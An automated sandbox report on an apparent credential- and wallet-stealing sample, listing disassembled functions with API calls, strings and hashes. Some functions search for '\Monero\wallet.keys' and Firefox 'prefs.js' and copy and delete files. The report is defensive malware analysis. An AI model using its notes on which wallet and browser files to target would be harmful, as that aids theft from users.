Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: b87acb3a315d382bc77ec8970b7e96db99202164a0ad99a8512a5ef493aaaae0
Instruction ID: 9734229a052d8aaf151efa658316acde7dc0cb62b3e78b5783cd95bc4124d8ef
Opcode Fuzzy Hash: b87acb3a315d382bc77ec8970b7e96db99202164a0ad99a8512a5ef493aaaae0
Instruction Fuzzy Hash: 016165B1900218ABCB35EBA0EC45FEA73BCFF58301F048599B509A6145EB71DB85CF91

Function 00ED4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00ED4580
RtlAllocateHeap.NTDLL(00000000), ref: 00ED4587
wsprintfA.USER32 ref: 00ED45A6
FindFirstFileA.KERNEL32(?,?), ref: 00ED45BD
StrCmpCA.SHLWAPI(?,00EE0FC4), ref: 00ED45EB
StrCmpCA.SHLWAPI(?,00EE0FC8), ref: 00ED4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00ED468B
FindClose.KERNEL32(000000FF), ref: 00ED46A0
lstrcat.KERNEL32(?,01B8E360), ref: 00ED46C5
lstrcat.KERNEL32(?,01B8D378), ref: 00ED46D8
lstrlen.KERNEL32(?), ref: 00ED46E5
lstrlen.KERNEL32(?), ref: 00ED46F6

Strings

%s\*, xrefs: 00ED459A
%s\%s, xrefs: 00ED461B

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 8e110c0e155904c6ed6ac5b110f814982b4ea7d637261d94e6acfabe1b5c9c69
Instruction ID: 6a47af1b0982da7e60de7ab711326ecdbbb2d2cdfe70f0620c11e4b58d58c233
Opcode Fuzzy Hash: 8e110c0e155904c6ed6ac5b110f814982b4ea7d637261d94e6acfabe1b5c9c69
Instruction Fuzzy Hash: DE5162B69003189BC725EB70EC89FE9737CEF58300F405599B61AA2184EBB59BC5CF91

Function 00ED3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00ED3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00ED3EDA
StrCmpCA.SHLWAPI(?,00EE0FAC), ref: 00ED3F08
StrCmpCA.SHLWAPI(?,00EE0FB0), ref: 00ED3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00ED406C
FindClose.KERNEL32(000000FF), ref: 00ED4081

Strings

%s\%s, xrefs: 00ED3EB7

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: fdf20b9c3c919144a30d032d9dcff906b6626ef03940131242ce9ac515839b20
Instruction ID: 0e78bac920c929196d840b64c1d3d9e4beb4a2955d4e7746184db4b5081b108e
Opcode Fuzzy Hash: fdf20b9c3c919144a30d032d9dcff906b6626ef03940131242ce9ac515839b20
Instruction Fuzzy Hash: BC5176B6900318ABCB25EBB0DC45EEA73BCFF48300F005599B659A2140DBB5DB86CF51

Function 00ECED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00ECED3E
FindFirstFileA.KERNEL32(?,?), ref: 00ECED55
StrCmpCA.SHLWAPI(?,00EE1538), ref: 00ECEDAB
StrCmpCA.SHLWAPI(?,00EE153C), ref: 00ECEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECF2AE
FindClose.KERNEL32(000000FF), ref: 00ECF2C3

Strings

%s\*.*, xrefs: 00ECED32

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: a451585c04659712bfafb3cdd2b6be5d758b6457e212f1060dea55eaef275929
Instruction ID: a0743fd4dc46d0b47ddf9163b7f4efc57e77b04865a998cc490efd27e83e5b86
Opcode Fuzzy Hash: a451585c04659712bfafb3cdd2b6be5d758b6457e212f1060dea55eaef275929
Instruction Fuzzy Hash: 75E130769112589ADB18EB20DC96EEE7378EF54300F4451BAB40A72152EE306F8BDF51

Function 00ECF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EE15B8,00EE0D96), ref: 00ECF71E
StrCmpCA.SHLWAPI(?,00EE15BC), ref: 00ECF76F
StrCmpCA.SHLWAPI(?,00EE15C0), ref: 00ECF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECFAB1
FindClose.KERNEL32(000000FF), ref: 00ECFAC3

Strings

prefs.js, xrefs: 00ECF812

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 9a94df1c399a9f9e0ade3eff626789909db84444ef12420f59764b3d270a56d8
Instruction ID: 65236e63a33b0e2d27d793cf8d4d25fe38795ec1eaff8c7870f8758367641d1e
Opcode Fuzzy Hash: 9a94df1c399a9f9e0ade3eff626789909db84444ef12420f59764b3d270a56d8
Instruction Fuzzy Hash: 1FB135769002589BCB28EF60DD55FED73B9EF54300F4491BAE80AA7241EF315B4ACB91

Function 00EC16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EE510C,?,?,?,00EE51B4,?,?,00000000,?,00000000), ref: 00EC1923
StrCmpCA.SHLWAPI(?,00EE525C), ref: 00EC1973
StrCmpCA.SHLWAPI(?,00EE5304), ref: 00EC1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EC1D40
DeleteFileA.KERNEL32(00000000), ref: 00EC1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00EC1E20
FindClose.KERNEL32(000000FF), ref: 00EC1E32

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Strings

\*.*, xrefs: 00EC17F1

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: f746f92d5edc82eaeb8a5808f0a27af0cd781bd20682a7c0b85150caad0dde50
Instruction ID: c9096b47d3783d2bc713f90d7ea694eec2d372e3cf2feff0611045fd92179127
Opcode Fuzzy Hash: f746f92d5edc82eaeb8a5808f0a27af0cd781bd20682a7c0b85150caad0dde50
Instruction Fuzzy Hash: 181231769101589ACB19EB60DC96EED73B8EF54300F4461BAB50A72191EF306F8BCF91

Function 00ECDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00EE0C2E), ref: 00ECDE5E
StrCmpCA.SHLWAPI(?,00EE14C8), ref: 00ECDEAE
StrCmpCA.SHLWAPI(?,00EE14CC), ref: 00ECDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECE3E0
FindClose.KERNEL32(000000FF), ref: 00ECE3F2

Strings

\*.*, xrefs: 00ECDE26

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: bb1eb85263f68aab727d043d5634c86c380ce530658672af4387d8bc9c1f4db9
Instruction ID: 3748cfaf016f3ca76f32540edd51a3262a1b10dd1350c7492f4a25cbde6fd077
Opcode Fuzzy Hash: bb1eb85263f68aab727d043d5634c86c380ce530658672af4387d8bc9c1f4db9
Instruction Fuzzy Hash: 52F11F768101589ACB19EB60DC95EEE7378FF54300F8461FAA41A72191EF306B8BDF51

Function 00ECDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EE14B0,00EE0C2A), ref: 00ECDAEB
StrCmpCA.SHLWAPI(?,00EE14B4), ref: 00ECDB33
StrCmpCA.SHLWAPI(?,00EE14B8), ref: 00ECDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECDDCC
FindClose.KERNEL32(000000FF), ref: 00ECDDDE

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a10383a7fb0481d49da0b7858fa06cb904598ce5447aab15491addc5823435ae
Instruction ID: 99e495fc0f6de208d5765e73f6499cfcd9b07fe5bb3a0e766d9373c40cd950b4
Opcode Fuzzy Hash: a10383a7fb0481d49da0b7858fa06cb904598ce5447aab15491addc5823435ae
Instruction Fuzzy Hash: 0691457290020457CB14FF70ED56EED73BDEF84300F44967AB81AB6241EE759B4A8B92

Function 00ED7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

GetKeyboardLayoutList.USER32(00000000,00000000,00EE05AF), ref: 00ED7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00ED7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00ED7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00ED7C62
LocalFree.KERNEL32(00000000), ref: 00ED7D22

Strings

/ , xrefs: 00ED7C7F

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a8a59c76877398e3012edcc6ab5d70b4b7f343548119f1d9b64d8ea7c18de577
Instruction ID: 63fd19638359c5e1f49d4fd64cd00900e60f63ab7dad96b1d451e481e2724080
Opcode Fuzzy Hash: a8a59c76877398e3012edcc6ab5d70b4b7f343548119f1d9b64d8ea7c18de577
Instruction Fuzzy Hash: F0412E71950218ABDB24DF94DC99BEDB3B4FF48700F2041AAE50976281DB742F86CFA1

Function 0129E95B Relevance: 10.4, Strings: 7, Instructions: 1694COMMON

Download Yara Rule

Strings

O_RN, xrefs: 0129EDD5
OAk6, xrefs: 0129EBD0
2W+, xrefs: 0129EF68
@OV, xrefs: 0129F179
rU|M, xrefs: 0129EAF3
gE}}, xrefs: 0129F0EE
^A$, xrefs: 0129EF47

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2W+$@OV$OAk6$O_RN$^A$$gE}}$rU|M
API String ID: 0-3737528765
Opcode ID: bb22e03fbfada0c5294ffd742c8c2ba59fa3eb5fd38d9700fb48d08720432240
Instruction ID: 962f8f40501cfc57c8fc9311b3492df43c8cf30ae5dfa8a29ee5ccffec643673
Opcode Fuzzy Hash: bb22e03fbfada0c5294ffd742c8c2ba59fa3eb5fd38d9700fb48d08720432240
Instruction Fuzzy Hash: 74B23CF360C2049FE304AE2DEC8567BBBE9EFD4620F1A853DE6C4C7744E67598018696

Function 0129B32B Relevance: 10.4, Strings: 7, Instructions: 1629COMMON

Download Yara Rule

Strings

W$w, xrefs: 0129B7BC
)tD, xrefs: 0129C61B
A5l~, xrefs: 0129B8DF
[$w, xrefs: 0129B7C1
3YvL, xrefs: 0129B36E, 0129BA94, 0129B377, 0129BB08, 0129BC74, 0129BD3B
uI6/, xrefs: 0129C6D8
M?w, xrefs: 0129B761

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
